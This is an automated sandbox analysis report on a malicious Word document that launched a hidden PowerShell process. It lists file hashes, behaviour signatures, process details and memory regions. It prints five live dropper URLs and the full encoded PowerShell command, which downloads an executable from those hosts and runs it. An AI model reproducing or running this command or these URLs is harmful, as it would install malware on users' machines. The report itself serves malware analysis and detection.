Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 19:59

General

  • Target

    74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc

  • Size

    177KB

  • MD5

    6d801d954271f11111d92b722ecf451d

  • SHA1

    35c3e6ae44e5b268fd5a8aa4f86339b46781261d

  • SHA256

    74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc

  • SHA512

    85dbe6b556052333c94446575d6e5108e05bfd32d8750d455973d8336cf518de886661a6e46726cedb7cb22569bf7c25aaa05e095da4027ae302c730d0792663

  • SSDEEP

    3072:y72y/GdynktGDWLS0HZWD5w8K7Nk96D7IBU6ZB0zstySfNllXe:y72k43tGiL3HJk96D7bs0z0rllX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2892
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\629E271B.wmf

      Filesize

      444B

      MD5

      175152ba6bd0082e5249990651465eeb

      SHA1

      b63d932360c395edb60f29a97b3ccc1f87e91749

      SHA256

      5ea26bdc11883fe3fa9701e98db3871940233b941f516f7dcedfcbc7694a8982

      SHA512

      9317c2852cbe836c165bf93740012358e43936ce4554cba8700b9c13259c9fffb644b4a43e8404f226a982502ad0c26ddf3ff0305da4534abc911b1e7a013a01

    • memory/2476-32-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2476-31-0x000000001B750000-0x000000001BA32000-memory.dmp

      Filesize

      2.9MB

    • memory/2876-21-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-18-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-12-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-14-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-13-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-15-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-16-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-0-0x000000002F8D1000-0x000000002F8D2000-memory.dmp

      Filesize

      4KB

    • memory/2876-19-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-5-0x0000000006660000-0x0000000006760000-memory.dmp

      Filesize

      1024KB

    • memory/2876-17-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-25-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-23-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-22-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-2-0x00000000710ED000-0x00000000710F8000-memory.dmp

      Filesize

      44KB

    • memory/2876-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2876-35-0x00000000710ED000-0x00000000710F8000-memory.dmp

      Filesize

      44KB

    • memory/2876-36-0x0000000006660000-0x0000000006760000-memory.dmp

      Filesize

      1024KB

    • memory/2876-37-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2876-38-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB